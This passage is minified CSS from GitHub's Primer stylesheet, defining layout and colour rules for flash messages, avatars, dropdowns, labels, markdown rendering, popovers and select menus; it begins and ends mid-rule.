768px)and (max-width: 1011.98px){.hide-lg{display:none !important}}@media(min-width: 1012px){.hide-xl{display:none !important}}.show-whenNarrow,.show-whenRegular,.show-whenWide,.show-whenRegular.hide-whenWide{display:none !important}.hide-whenNarrow,.hide-whenRegular,.hide-whenWide{display:block !important}@media(max-width: 767.98px){.show-whenNarrow{display:block !important}.hide-whenNarrow{display:none !important}}@media(min-width: 768px){.show-whenRegular,.show-whenRegular.hide-whenWide{display:block !important}.hide-whenRegular{display:none !important}}@media(min-width: 1280px){.show-whenWide{display:block !important}.hide-whenWide,.show-whenRegular.hide-whenWide{display:none !important}}.table-fixed{table-layout:fixed !important}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);word-wrap:normal;border:0}.show-on-focus{position:absolute;width:1px;height:1px;margin:0;overflow:hidden;clip:rect(1px, 1px, 1px, 1px)}.show-on-focus:focus{z-index:20;width:auto;height:auto;clip:auto}/*! + * @primer/css/product + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.flash{position:relative;padding:20px 16px;border-style:solid;border-width:1px;border-radius:6px}.flash p:last-child{margin-bottom:0}.flash .octicon{margin-right:12px}.flash-messages{margin-bottom:24px}.flash-close{float:right;padding:16px;margin:-16px;text-align:center;cursor:pointer;background:none;border:0;-webkit-appearance:none;appearance:none}.flash-close:hover{opacity:.7}.flash-close:active{opacity:.5}.flash-close .octicon{margin-right:0}.flash-action{float:right;margin-top:-3px;margin-left:24px;background-clip:padding-box}.flash-action.btn .octicon{margin-right:4px;color:var(--color-fg-muted)}.flash-action.btn-primary{background-clip:border-box}.flash-action.btn-primary .octicon{color:inherit}.flash{color:var(--color-fg-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle));border-color:var(--color-accent-muted)}.flash .octicon{color:var(--color-accent-fg)}.flash-warn{color:var(--color-fg-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.flash-warn .octicon{color:var(--color-attention-fg)}.flash-error{color:var(--color-fg-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.flash-error .octicon{color:var(--color-danger-fg)}.flash-success{color:var(--color-fg-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.flash-success .octicon{color:var(--color-success-fg)}.flash-full{margin-top:-1px;border-width:1px 0;border-radius:0}.flash-banner{position:fixed;top:0;z-index:90;width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.flash-full,.flash-banner{background-color:var(--color-canvas-default)}.warning{padding:.5em;margin-bottom:.8em;font-weight:600;background-color:var(--color-attention-subtle)}.autocomplete-label-stacked{display:block;margin-bottom:6px}.autocomplete-label-inline{display:inline;margin-right:6px}@media(max-width: 544px){.autocomplete-label-inline{display:block;margin-bottom:6px}}.autocomplete-body{position:relative;display:inline}.autocomplete-embedded-icon-wrap{display:inline-flex;padding:4px 8px;align-items:center}.autocomplete-embedded-icon-wrap:focus-within{border-color:var(--color-accent-fg);border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.autocomplete-embedded-icon-wrap .form-control{padding:0;margin-left:8px;border:none;box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus{box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus-visible{box-shadow:none}.autocomplete-results{position:absolute;left:0;z-index:99;width:max-content;min-width:100%;max-height:20em;overflow-y:auto;font-size:13px;list-style:none;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.autocomplete-item{display:block;width:100%;padding:4px 8px;overflow:hidden;font-weight:600;color:var(--color-fg-default);text-align:left;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;background-color:var(--color-canvas-overlay);border:0}.autocomplete-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item:hover *{color:inherit !important}.autocomplete-item.selected,.autocomplete-item[aria-selected=true],.autocomplete-item.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item.selected *,.autocomplete-item[aria-selected=true] *,.autocomplete-item.navigation-focus *{color:inherit !important}.suggester{position:relative;top:0;left:0;min-width:180px;padding:0;margin:0;margin-top:24px;list-style:none;cursor:pointer;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.suggester li{display:block;padding:4px 8px;font-weight:500;border-bottom:1px solid var(--color-border-muted)}.suggester li small{font-weight:400;color:var(--color-fg-muted)}.suggester li:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.suggester li:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.suggester li:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li:hover small{color:var(--color-fg-on-emphasis)}.suggester li:hover .octicon{color:inherit !important}.suggester li[aria-selected=true],.suggester li.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li[aria-selected=true] small,.suggester li.navigation-focus small{color:var(--color-fg-on-emphasis)}.suggester li[aria-selected=true] .octicon,.suggester li.navigation-focus .octicon{color:inherit !important}.suggester-container{position:absolute;top:0;left:0;z-index:30}@media(max-width: 544px){.page-responsive .suggester-container{right:8px !important;left:8px !important}.page-responsive .suggester li{padding:8px 16px}}.avatar{display:inline-block;overflow:hidden;line-height:1;vertical-align:middle;background-color:var(--color-avatar-bg);border-radius:6px;flex-shrink:0;box-shadow:0 0 0 1px var(--color-avatar-border)}.avatar-link{float:left;line-height:1}.avatar-group-item{display:inline-block;margin-bottom:3px}.avatar-1,.avatar-2,.avatar-small{border-radius:4px}.avatar-1{width:16px;height:16px}.avatar-2{width:20px;height:20px}.avatar-3{width:24px;height:24px}.avatar-4{width:28px;height:28px}.avatar-5{width:32px;height:32px}.avatar-6{width:40px;height:40px}.avatar-7{width:48px;height:48px}.avatar-8{width:64px;height:64px}.avatar-parent-child{position:relative}.avatar-child{position:absolute;right:-15%;bottom:-9%;background-color:var(--color-canvas-default);border-radius:4px;box-shadow:var(--color-avatar-child-shadow)}.AvatarStack{position:relative;min-width:26px;height:20px}.AvatarStack .AvatarStack-body{position:absolute}.AvatarStack.AvatarStack--two{min-width:36px}.AvatarStack.AvatarStack--three-plus{min-width:46px}.AvatarStack-body{display:flex;background:var(--color-canvas-default)}.AvatarStack-body .avatar{position:relative;z-index:2;display:flex;width:20px;height:20px;box-sizing:content-box;margin-right:-11px;background-color:var(--color-canvas-default);border-right:1px solid var(--color-canvas-default);border-radius:4px;box-shadow:none;transition:margin .1s ease-in-out}.AvatarStack-body .avatar:first-child{z-index:3}.AvatarStack-body .avatar:last-child{z-index:1;border-right:0}.AvatarStack-body .avatar img{border-radius:4px}.AvatarStack-body .avatar:nth-child(n+4){display:none;opacity:0}.AvatarStack-body:hover .avatar{margin-right:3px}.AvatarStack-body:hover .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack-body:hover .avatar-more{display:none !important}.avatar.avatar-more{z-index:1;margin-right:0;background:var(--color-canvas-subtle)}.avatar.avatar-more::before,.avatar.avatar-more::after{position:absolute;display:block;height:20px;content:"";border-radius:2px;outline:1px solid var(--color-canvas-default)}.avatar.avatar-more::before{width:17px;background:var(--color-avatar-stack-fade-more)}.avatar.avatar-more::after{width:14px;background:var(--color-avatar-stack-fade)}.AvatarStack--right .AvatarStack-body{right:0;flex-direction:row-reverse}.AvatarStack--right .AvatarStack-body:hover .avatar{margin-right:0;margin-left:3px}.AvatarStack--right .avatar.avatar-more{background:var(--color-avatar-stack-fade)}.AvatarStack--right .avatar.avatar-more::before{width:5px}.AvatarStack--right .avatar.avatar-more::after{width:2px;background:var(--color-canvas-subtle)}.AvatarStack--right .avatar{margin-right:0;margin-left:-11px;border-right:0;border-left:1px solid var(--color-canvas-default)}.CircleBadge{display:flex;align-items:center;justify-content:center;background-color:var(--color-canvas-default);border-radius:50%;box-shadow:var(--color-shadow-medium)}.CircleBadge-icon{max-width:60% !important;height:auto !important;max-height:55% !important}.CircleBadge--small{width:56px;height:56px}.CircleBadge--medium{width:96px;height:96px}.CircleBadge--large{width:128px;height:128px}.DashedConnection{position:relative}.DashedConnection::before{position:absolute;top:50%;left:0;width:100%;content:"";border-bottom:2px dashed var(--color-border-default)}.DashedConnection .CircleBadge{position:relative}.blankslate{position:relative;padding:32px;text-align:center}.blankslate p{color:var(--color-fg-muted)}.blankslate code{padding:2px 5px 3px;font-size:14px;background:var(--color-canvas-default);border:1px solid var(--color-border-muted);border-radius:6px}.blankslate img{width:56px;height:56px}.blankslate-icon{margin-right:4px;margin-bottom:8px;margin-left:4px;color:var(--color-fg-muted)}.blankslate-image{margin-bottom:16px}.blankslate-heading{margin-bottom:4px}.blankslate-action{margin-top:16px}.blankslate-action:first-of-type{margin-top:24px}.blankslate-action:last-of-type{margin-bottom:8px}.blankslate-capped{border-radius:0 0 6px 6px}.blankslate-spacious{padding:80px 40px}.blankslate-narrow{max-width:485px;margin:0 auto}.blankslate-large img{width:80px;height:80px}.blankslate-large h3{margin:16px 0;font-size:24px}.blankslate-large p{font-size:16px}.blankslate-clean-background{border:0}.branch-name{display:inline-block;padding:2px 6px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);word-break:break-all;background-color:var(--color-accent-subtle);border-radius:6px}.branch-name .octicon{margin:1px -2px 0 0;color:var(--color-fg-muted)}a.branch-name{color:var(--color-accent-fg);background-color:var(--color-accent-subtle)}a.branch-name .octicon{color:var(--color-accent-fg)}.dropdown{position:relative}.dropdown-caret{display:inline-block;width:0;height:0;vertical-align:middle;content:"";border-style:solid;border-width:4px 4px 0;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.dropdown-menu{position:absolute;top:100%;left:0;z-index:100;width:160px;padding-top:4px;padding-bottom:4px;margin-top:2px;list-style:none;background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.dropdown-menu::before,.dropdown-menu::after{position:absolute;display:inline-block;content:""}.dropdown-menu::before{border:8px solid transparent;border-bottom-color:var(--color-border-default)}.dropdown-menu::after{border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.dropdown-menu>ul{list-style:none}.dropdown-menu-no-overflow{width:auto}.dropdown-menu-no-overflow .dropdown-item{padding:4px 16px;overflow:visible;text-overflow:inherit}.dropdown-item{display:block;padding:4px 8px 4px 16px;overflow:hidden;color:var(--color-fg-default);text-overflow:ellipsis;white-space:nowrap}.dropdown-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.dropdown-item:hover>.octicon{color:inherit;opacity:1}.dropdown-item:hover [class*=color-text-]{color:inherit !important}.dropdown-item:hover>.Label{color:inherit !important;border-color:currentColor}.dropdown-item.btn-link{width:100%;text-align:left}.dropdown-signout{width:100%;text-align:left;background:none;border:0}.dropdown-divider{display:block;height:0;margin:8px 0;border-top:1px solid var(--color-border-default)}.dropdown-header{padding:4px 16px;font-size:12px;color:var(--color-fg-muted)}.dropdown-item[aria-checked=false] .octicon-check{display:none}.dropdown-menu-w{top:0;right:100%;left:auto;width:auto;margin-top:0;margin-right:8px}.dropdown-menu-w::before{top:10px;right:-16px;left:auto;border-color:transparent;border-left-color:var(--color-border-default)}.dropdown-menu-w::after{top:11px;right:-14px;left:auto;border-color:transparent;border-left-color:var(--color-canvas-overlay)}.dropdown-menu-e{top:0;left:100%;width:auto;margin-top:0;margin-left:8px}.dropdown-menu-e::before{top:10px;left:-16px;border-color:transparent;border-right-color:var(--color-border-default)}.dropdown-menu-e::after{top:11px;left:-14px;border-color:transparent;border-right-color:var(--color-canvas-overlay)}.dropdown-menu-ne{top:auto;bottom:100%;left:0;margin-bottom:3px}.dropdown-menu-ne::before,.dropdown-menu-ne::after{top:auto;right:auto}.dropdown-menu-ne::before{bottom:-8px;left:9px;border-top:8px solid var(--color-border-default);border-right:8px solid transparent;border-bottom:0;border-left:8px solid transparent}.dropdown-menu-ne::after{bottom:-7px;left:10px;border-top:7px solid var(--color-canvas-overlay);border-right:7px solid transparent;border-bottom:0;border-left:7px solid transparent}.dropdown-menu-s{right:50%;left:auto;transform:translateX(50%)}.dropdown-menu-s::before{top:-16px;right:50%;transform:translateX(50%)}.dropdown-menu-s::after{top:-14px;right:50%;transform:translateX(50%)}.dropdown-menu-sw{right:0;left:auto}.dropdown-menu-sw::before{top:-16px;right:9px;left:auto}.dropdown-menu-sw::after{top:-14px;right:10px;left:auto}.dropdown-menu-se::before{top:-16px;left:9px}.dropdown-menu-se::after{top:-14px;left:10px}.Header{z-index:32;display:flex;padding:16px;font-size:14px;line-height:1.5;color:var(--color-header-text);background-color:var(--color-header-bg);align-items:center;flex-wrap:nowrap}.Header-item{display:flex;margin-right:16px;align-self:stretch;align-items:center;flex-wrap:nowrap}.Header-item--full{flex:auto}.Header-link{font-weight:600;color:var(--color-header-logo);white-space:nowrap}.Header-link:hover,.Header-link:focus{color:var(--color-header-text);text-decoration:none}.Header-input{color:var(--color-header-text);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.Header-input::placeholder{color:rgba(255,255,255,.75)}.IssueLabel{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em}.IssueLabel .g-emoji{position:relative;top:-0.05em;display:inline-block;font-size:1em;line-height:1}.IssueLabel:hover{text-decoration:none}.IssueLabel--big{padding-right:10px;padding-left:10px;line-height:22px}.labels{position:relative}.label,.Label{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.label:hover,.Label:hover{text-decoration:none}.Label--large{padding-right:10px;padding-left:10px;line-height:22px}.Label--inline{display:inline;padding:.12em .5em;font-size:85%}.Label--primary{color:var(--color-fg-default);border-color:var(--color-neutral-emphasis)}.Label--secondary{color:var(--color-fg-muted);border-color:var(--color-border-default)}.Label--info,.Label--accent{color:var(--color-accent-fg);border-color:var(--color-accent-emphasis)}.Label--success{color:var(--color-success-fg);border-color:var(--color-success-emphasis)}.Label--warning,.Label--attention{color:var(--color-attention-fg);border-color:var(--color-attention-emphasis)}.Label--severe{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label--danger{color:var(--color-danger-fg);border-color:var(--color-danger-emphasis)}.Label--open{color:var(--color-open-fg);border-color:var(--color-open-emphasis)}.Label--closed{color:var(--color-closed-fg);border-color:var(--color-closed-emphasis)}.Label--done{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label--sponsors{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}.state,.State{display:inline-block;padding:5px 12px;font-size:14px;font-weight:500;line-height:20px;text-align:center;white-space:nowrap;border-radius:2em}.state,.State,.State--draft{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.State--open{color:var(--color-fg-on-emphasis);background-color:var(--color-open-emphasis)}.State--merged{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis)}.State--closed{color:var(--color-fg-on-emphasis);background-color:var(--color-closed-emphasis)}.State--small{padding:0 10px;font-size:12px;line-height:24px}.State--small .octicon{width:1em}.Counter{display:inline-block;min-width:20px;padding:0 6px;font-size:12px;font-weight:500;line-height:18px;color:var(--color-fg-default);text-align:center;background-color:var(--color-neutral-muted);border:1px solid var(--color-counter-border);border-radius:2em}.Counter:empty{display:none}.Counter .octicon{vertical-align:text-top;opacity:.8}.Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.Counter--secondary{color:var(--color-fg-muted);background-color:var(--color-neutral-subtle)}.diffstat{font-size:12px;font-weight:600;color:var(--color-fg-muted);white-space:nowrap;cursor:default}.diffstat-block-deleted,.diffstat-block-added,.diffstat-block-neutral{display:inline-block;width:8px;height:8px;margin-left:1px;outline-offset:-1px}.diffstat-block-deleted{background-color:var(--color-danger-emphasis);outline:1px solid var(--color-border-subtle)}.diffstat-block-added{background-color:var(--color-diffstat-addition-bg);outline:1px solid var(--color-border-subtle)}.diffstat-block-neutral{background-color:var(--color-neutral-muted);outline:1px solid var(--color-border-subtle)}.AnimatedEllipsis{display:inline-block;overflow:hidden;vertical-align:bottom}.AnimatedEllipsis::after{display:inline-block;content:"...";animation:AnimatedEllipsis-keyframes 1.2s steps(4, jump-none) infinite}@keyframes AnimatedEllipsis-keyframes{0%{transform:translateX(-100%)}}.markdown-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body .absent{color:var(--color-danger-fg)}.markdown-body .anchor{float:left;padding-right:4px;margin-left:-20px;line-height:1}.markdown-body .anchor:focus{outline:none}.markdown-body p,.markdown-body blockquote,.markdown-body ul,.markdown-body ol,.markdown-body dl,.markdown-body table,.markdown-body pre,.markdown-body details{margin-top:0;margin-bottom:16px}.markdown-body hr{height:.25em;padding:0;margin:24px 0;background-color:var(--color-border-default);border:0}.markdown-body blockquote{padding:0 1em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body h1,.markdown-body h2,.markdown-body h3,.markdown-body h4,.markdown-body h5,.markdown-body h6{margin-top:24px;margin-bottom:16px;font-weight:600;line-height:1.25}.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{color:var(--color-fg-default);vertical-align:middle;visibility:hidden}.markdown-body h1:hover .anchor,.markdown-body h2:hover .anchor,.markdown-body h3:hover .anchor,.markdown-body h4:hover .anchor,.markdown-body h5:hover .anchor,.markdown-body h6:hover .anchor{text-decoration:none}.markdown-body h1:hover .anchor .octicon-link,.markdown-body h2:hover .anchor .octicon-link,.markdown-body h3:hover .anchor .octicon-link,.markdown-body h4:hover .anchor .octicon-link,.markdown-body h5:hover .anchor .octicon-link,.markdown-body h6:hover .anchor .octicon-link{visibility:visible}.markdown-body h1 tt,.markdown-body h1 code,.markdown-body h2 tt,.markdown-body h2 code,.markdown-body h3 tt,.markdown-body h3 code,.markdown-body h4 tt,.markdown-body h4 code,.markdown-body h5 tt,.markdown-body h5 code,.markdown-body h6 tt,.markdown-body h6 code{padding:0 .2em;font-size:inherit}.markdown-body h1{padding-bottom:.3em;font-size:2em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h2{padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h3{font-size:1.25em}.markdown-body h4{font-size:1em}.markdown-body h5{font-size:.875em}.markdown-body h6{font-size:.85em;color:var(--color-fg-muted)}.markdown-body summary h1,.markdown-body summary h2,.markdown-body summary h3,.markdown-body summary h4,.markdown-body summary h5,.markdown-body summary h6{display:inline-block}.markdown-body summary h1 .anchor,.markdown-body summary h2 .anchor,.markdown-body summary h3 .anchor,.markdown-body summary h4 .anchor,.markdown-body summary h5 .anchor,.markdown-body summary h6 .anchor{margin-left:-40px}.markdown-body summary h1,.markdown-body summary h2{padding-bottom:0;border-bottom:0}.markdown-body ul,.markdown-body ol{padding-left:2em}.markdown-body ul.no-list,.markdown-body ol.no-list{padding:0;list-style-type:none}.markdown-body ol[type="1"]{list-style-type:decimal}.markdown-body ol[type=a]{list-style-type:lower-alpha}.markdown-body ol[type=i]{list-style-type:lower-roman}.markdown-body div>ol:not([type]){list-style-type:decimal}.markdown-body ul ul,.markdown-body ul ol,.markdown-body ol ol,.markdown-body ol ul{margin-top:0;margin-bottom:0}.markdown-body li>p{margin-top:16px}.markdown-body li+li{margin-top:.25em}.markdown-body dl{padding:0}.markdown-body dl dt{padding:0;margin-top:16px;font-size:1em;font-style:italic;font-weight:600}.markdown-body dl dd{padding:0 16px;margin-bottom:16px}.markdown-body table{display:block;width:100%;width:max-content;max-width:100%;overflow:auto}.markdown-body table th{font-weight:600}.markdown-body table th,.markdown-body table td{padding:6px 13px;border:1px solid var(--color-border-default)}.markdown-body table tr{background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-muted)}.markdown-body table tr:nth-child(2n){background-color:var(--color-canvas-subtle)}.markdown-body table img{background-color:transparent}.markdown-body img{max-width:100%;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body img[align=right]{padding-left:20px}.markdown-body img[align=left]{padding-right:20px}.markdown-body .emoji{max-width:none;vertical-align:text-top;background-color:transparent}.markdown-body span.frame{display:block;overflow:hidden}.markdown-body span.frame>span{display:block;float:left;width:auto;padding:7px;margin:13px 0 0;overflow:hidden;border:1px solid var(--color-border-default)}.markdown-body span.frame span img{display:block;float:left}.markdown-body span.frame span span{display:block;padding:5px 0 0;clear:both;color:var(--color-fg-default)}.markdown-body span.align-center{display:block;overflow:hidden;clear:both}.markdown-body span.align-center>span{display:block;margin:13px auto 0;overflow:hidden;text-align:center}.markdown-body span.align-center span img{margin:0 auto;text-align:center}.markdown-body span.align-right{display:block;overflow:hidden;clear:both}.markdown-body span.align-right>span{display:block;margin:13px 0 0;overflow:hidden;text-align:right}.markdown-body span.align-right span img{margin:0;text-align:right}.markdown-body span.float-left{display:block;float:left;margin-right:13px;overflow:hidden}.markdown-body span.float-left span{margin:13px 0 0}.markdown-body span.float-right{display:block;float:right;margin-left:13px;overflow:hidden}.markdown-body span.float-right>span{display:block;margin:13px auto 0;overflow:hidden;text-align:right}.markdown-body code,.markdown-body tt{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body code br,.markdown-body tt br{display:none}.markdown-body del code{text-decoration:inherit}.markdown-body samp{font-size:85%}.markdown-body pre{word-wrap:normal}.markdown-body pre code{font-size:100%}.markdown-body pre>code{padding:0;margin:0;word-break:normal;white-space:pre;background:transparent;border:0}.markdown-body .highlight{margin-bottom:16px}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body .highlight pre,.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code,.markdown-body pre tt{display:inline;max-width:auto;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body .csv-data td,.markdown-body .csv-data th{padding:5px;overflow:hidden;font-size:12px;line-height:1;text-align:left;white-space:nowrap}.markdown-body .csv-data .blob-num{padding:10px 8px 9px;text-align:right;background:var(--color-canvas-default);border:0}.markdown-body .csv-data tr{border-top:0}.markdown-body .csv-data th{font-weight:600;background:var(--color-canvas-subtle);border-top:0}.markdown-body [data-footnote-ref]::before{content:"["}.markdown-body [data-footnote-ref]::after{content:"]"}.markdown-body .footnotes{font-size:12px;color:var(--color-fg-muted);border-top:1px solid var(--color-border-default)}.markdown-body .footnotes ol{padding-left:16px}.markdown-body .footnotes li{position:relative}.markdown-body .footnotes li:target::before{position:absolute;top:-8px;right:-8px;bottom:-8px;left:-24px;pointer-events:none;content:"";border:2px solid var(--color-accent-emphasis);border-radius:6px}.markdown-body .footnotes li:target{color:var(--color-fg-default)}.markdown-body .footnotes .data-footnote-backref g-emoji{font-family:monospace}.Popover{position:absolute;z-index:100}.Popover-message{position:relative;width:232px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px}.Popover-message::before,.Popover-message::after{position:absolute;left:50%;display:inline-block;content:""}.Popover-message::before{top:-16px;margin-left:-9px;border:8px solid transparent;border-bottom-color:var(--color-border-default)}.Popover-message::after{top:-14px;margin-left:-8px;border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.Popover-message--no-caret::before,.Popover-message--no-caret::after{display:none}.Popover-message--bottom::before,.Popover-message--bottom::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{top:auto;border-bottom-color:transparent}.Popover-message--bottom::before,.Popover-message--bottom-right::before,.Popover-message--bottom-left::before{bottom:-16px;border-top-color:var(--color-border-default)}.Popover-message--bottom::after,.Popover-message--bottom-right::after,.Popover-message--bottom-left::after{bottom:-14px;border-top-color:var(--color-canvas-overlay)}.Popover-message--top-right,.Popover-message--bottom-right{right:-9px;margin-right:0}.Popover-message--top-right::before,.Popover-message--top-right::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after{left:auto;margin-left:0}.Popover-message--top-right::before,.Popover-message--bottom-right::before{right:20px}.Popover-message--top-right::after,.Popover-message--bottom-right::after{right:21px}.Popover-message--top-left,.Popover-message--bottom-left{left:-9px;margin-left:0}.Popover-message--top-left::before,.Popover-message--top-left::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{left:24px;margin-left:0}.Popover-message--top-left::after,.Popover-message--bottom-left::after{left:25px}.Popover-message--right::before,.Popover-message--right::after,.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left::before,.Popover-message--left::after,.Popover-message--left-top::before,.Popover-message--left-top::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:50%;left:auto;margin-left:0;border-bottom-color:transparent}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before,.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{margin-top:-9px}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after,.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{margin-top:-8px}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before{right:-16px;border-left-color:var(--color-border-default)}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after{right:-14px;border-left-color:var(--color-canvas-overlay)}.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{left:-16px;border-right-color:var(--color-border-default)}.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{left:-14px;border-right-color:var(--color-canvas-overlay)}.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--left-top::before,.Popover-message--left-top::after{top:24px}.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:auto}.Popover-message--right-bottom::before,.Popover-message--left-bottom::before{bottom:16px}.Popover-message--right-bottom::after,.Popover-message--left-bottom::after{bottom:17px}@media(min-width: 544px){.Popover-message--large{min-width:320px}}@media(max-width: 767.98px){.Popover{position:fixed;top:auto !important;right:0 !important;bottom:0 !important;left:0 !important}.Popover-message{top:auto;right:auto;bottom:auto;left:auto;width:auto !important;margin:8px}.Popover-message>.btn-octicon{padding:12px !important}.Popover-message::after,.Popover-message::before{display:none}}.Progress{display:flex;height:8px;overflow:hidden;background-color:var(--color-neutral-muted);border-radius:6px;outline:1px solid transparent}.Progress--large{height:10px}.Progress--small{height:5px}.Progress-item{outline:2px solid transparent}.Progress-item+.Progress-item{margin-left:2px}.SelectMenu{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:flex;padding:16px;pointer-events:none;flex-direction:column}@media(min-width: 544px){.SelectMenu{position:absolute;top:auto;right:auto;bottom:auto;left:auto;padding:0}}.SelectMenu::before{position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:none;content:"";background-color:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.SelectMenu::before{display:none}}.SelectMenu-modal{position:relative;z-index:99;display:flex;max-height:66%;margin:auto 0;overflow:hidden;pointer-events:auto;flex-direction:column;background-color:var(--color-canvas-overlay);border:1px solid var(--color-select-menu-backdrop-border);border-radius:12px;box-shadow:var(--color-shadow-large);animation:SelectMenu-modal-animation .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}@keyframes SelectMenu-modal-animation{0%{opacity:0;transform:scale(0.9)}}@keyframes SelectMenu-modal-animation--sm{0%{opacity:0;transform:translateY(-16px)}}@media(min-width: 544px){.SelectMenu-modal{width:300px;height:auto;max-height:480px;margin:8px 0 16px 0;font-size:12px;border-color:var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large);animation-name:SelectMenu-modal-animation--sm}}.SelectMenu-header{display:flex;padding:16px;flex:none;align-items:center;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-header{padding:7px 7px 7px 16px}}.SelectMenu-title{flex:1;font-size:14px;font-weight:600}@media(min-width: 544px){.SelectMenu-title{font-size:inherit}}.SelectMenu-closeButton{padding:16px;margin:-16px;line-height:1;color:var(--color-fg-muted);background-color:transparent;border:0}@media(min-width: 544px){.SelectMenu-closeButton{padding:8px;margin:-8px -7px}}.SelectMenu-filter{padding:16px;margin:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-filter{padding:8px}}.SelectMenu-input{display:block;width:100%}@media(min-width: 